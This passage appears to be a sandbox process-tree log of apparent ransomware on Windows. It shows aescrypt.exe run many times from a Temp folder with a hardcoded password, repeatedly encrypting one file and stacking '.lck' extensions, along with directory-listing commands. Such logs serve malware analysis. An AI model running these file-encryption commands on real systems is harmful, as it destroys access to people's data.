                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck.lck.lck.lck.lck" "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck.lck.lck.lck"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:5584
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck" "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck.lck.lck.lck.lck"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:5628
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck" "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:5660
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck" "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:5680
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck" "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:5740
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck" "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:5780
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck" "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:5812
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck" "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:5832
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      C:\Windows\system32\cmd.exe /c dir * /a-D /b /oS
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:4928
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "90737d32e3aba4b.timestamp.lck" "90737d32e3aba4b.timestamp"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:3800
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "90737d32e3aba4b.timestamp.lck.lck" "90737d32e3aba4b.timestamp.lck"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:5944
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "90737d32e3aba4b.timestamp.lck.lck.lck" "90737d32e3aba4b.timestamp.lck.lck"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:5896
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "90737d32e3aba4b.timestamp.lck.lck.lck.lck" "90737d32e3aba4b.timestamp.lck.lck.lck"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:5932
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck" "90737d32e3aba4b.timestamp.lck.lck.lck.lck"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:6028
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck.lck" "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:6012
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck.lck.lck" "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck.lck"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:5960
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck.lck.lck.lck" "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck.lck.lck"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:6000
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck.lck.lck.lck.lck" "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck.lck.lck.lck"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:5956
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck" "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck.lck.lck.lck.lck"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:6076
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck" "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:6080
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck" "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:6112
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck" "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:4468
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck" "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:5164
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck" "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:5144
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck" "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:6132
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck" "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:2588
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          C:\Windows\system32\cmd.exe /c dir * /a-D /b /oS
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:5156
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "90737d32e3aba4b.timestamp.lck" "90737d32e3aba4b.timestamp"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:3748
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "90737d32e3aba4b.timestamp.lck.lck" "90737d32e3aba4b.timestamp.lck"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:1212
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "90737d32e3aba4b.timestamp.lck.lck.lck" "90737d32e3aba4b.timestamp.lck.lck"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:5240
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "90737d32e3aba4b.timestamp.lck.lck.lck.lck" "90737d32e3aba4b.timestamp.lck.lck.lck"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:5276
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck" "90737d32e3aba4b.timestamp.lck.lck.lck.lck"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:5200
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck.lck" "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:5176
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck.lck.lck" "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck.lck"
